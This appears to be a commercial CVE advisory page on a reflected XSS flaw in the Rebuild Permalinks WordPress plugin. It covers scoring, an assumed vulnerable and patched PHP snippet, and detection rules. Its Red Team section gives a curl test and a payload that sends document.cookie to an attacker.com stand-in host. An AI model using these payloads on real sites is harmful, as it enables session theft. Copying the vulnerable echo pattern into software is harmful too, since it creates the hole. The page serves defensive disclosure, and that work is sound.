CVE-2025-27346
Executive Summary
CVE-2025-27346 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin Rebuild Permalinks, developed by Gerrygooner. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML via a crafted URL, which is then reflected back to the victim's browser. The vulnerability affects all versions of the plugin up to and including version 1.6. As of this report, no official patch has been released by the vendor, leaving all installations of this plugin exposed to potential exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides within the WordPress plugin ecosystem, specifically in the rebuild-permalinks plugin. Since WordPress plugins are distributed through the official WordPress Plugin Directory and can be auto-updated, the supply chain risk is moderate. An attacker could compromise the plugin's update mechanism or distribute a malicious fork. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): Required – The victim must click a malicious link.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure.
- Integrity (I): Low – Limited data modification.
- Availability (A): Low – Limited service disruption.
Threat Level: High. The low attack complexity and lack of required privileges make this an attractive target for phishing campaigns and drive-by attacks.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The rebuild-permalinks plugin fails to sanitize or escape parameters passed via the URL before reflecting them in the HTTP response. An attacker can craft a URL containing malicious JavaScript code, and when a victim clicks the link, the script executes in the context of the victim's browser session on the WordPress site.
Root Cause: The plugin likely uses $_GET or $_REQUEST parameters directly in output without proper escaping or validation. For example, a parameter like ?msg=<script>alert(1)</script> might be echoed back into the page without sanitization.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/wp-admin/admin.php?page=rebuild-permalinks&msg=<script>alert(document.cookie)</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the
msgparameter and reflects it in the HTML response. - The browser executes the injected script, potentially stealing session cookies or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.6. A typical vulnerable pattern in PHP would be:
// Vulnerable code (rebuild-permalinks.php)
$msg = $_GET['msg'];
echo "<div class='notice'>$msg</div>";
A patched version would use proper escaping:
// Patched code
$msg = isset($_GET['msg']) ? esc_html($_GET['msg']) : '';
echo "<div class='notice'>" . esc_html($msg) . "</div>";
The esc_html() function in WordPress converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Rebuild Permalinks plugin version <= 1.6 installed.
- A web browser or tool like
curl.
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
msg,error,success). - Craft a payload:
<script>alert('XSS')</script>. - Send the request:
curl "http://target-site.com/wp-admin/admin.php?page=rebuild-permalinks&msg=<script>alert('XSS')</script>" - If the alert box appears, the vulnerability is confirmed.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious
msgparameters containing<script>oronerrorpatterns. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup:
- Use a local WordPress instance with the vulnerable plugin.
- Simulate an attack using the above curl command.
- Verify detection via log analysis or WAF alerts.
Indicators of Compromise (IOCs)
- URL Patterns:
/wp-admin/admin.php?page=rebuild-permalinks&msg=<script>/wp-admin/admin.php?page=rebuild-permalinks&error=<script>
- Log Entries:
GET /wp-admin/admin.php?page=rebuild-permalinks&msg=%3Cscript%3E
- Network Traffic:
- Outbound connections to attacker-controlled domains from the victim's browser.
- File Hashes:
- Plugin file:
rebuild-permalinks.php(MD5: UNKNOWN, but version <= 1.6 is suspect).
- Plugin file:
Detection Engineering
YARA Rule
rule detect_rebuild_permalinks_xss {
meta:
description = "Detects reflected XSS attempts against Rebuild Permalinks plugin"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-27346"
strings:
$xss_payload = /msg=[^&]*<script/i
$plugin_path = /wp-admin\/admin\.php\?page=rebuild-permalinks/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Rebuild Permalinks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting the Rebuild Permalinks plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'page=rebuild-permalinks'
cs-uri-query|re: 'msg=.*<script'
condition: selection
falsepositives:
- Legitimate use of script tags in parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27346 - Reflected XSS in Rebuild Permalinks"; flow:to_server; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=rebuild-permalinks"; http_uri; pcre:"/msg=[^&]*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block requests containing
<script>in themsgparameter. - Add CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self'
Long-term Fix:
- The vendor must release a patched version that uses
esc_html()orwp_kses()to sanitize output. - Users should update to the latest version once available.
Workaround:
- Edit the plugin file manually to add escaping (not recommended for non-developers).
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.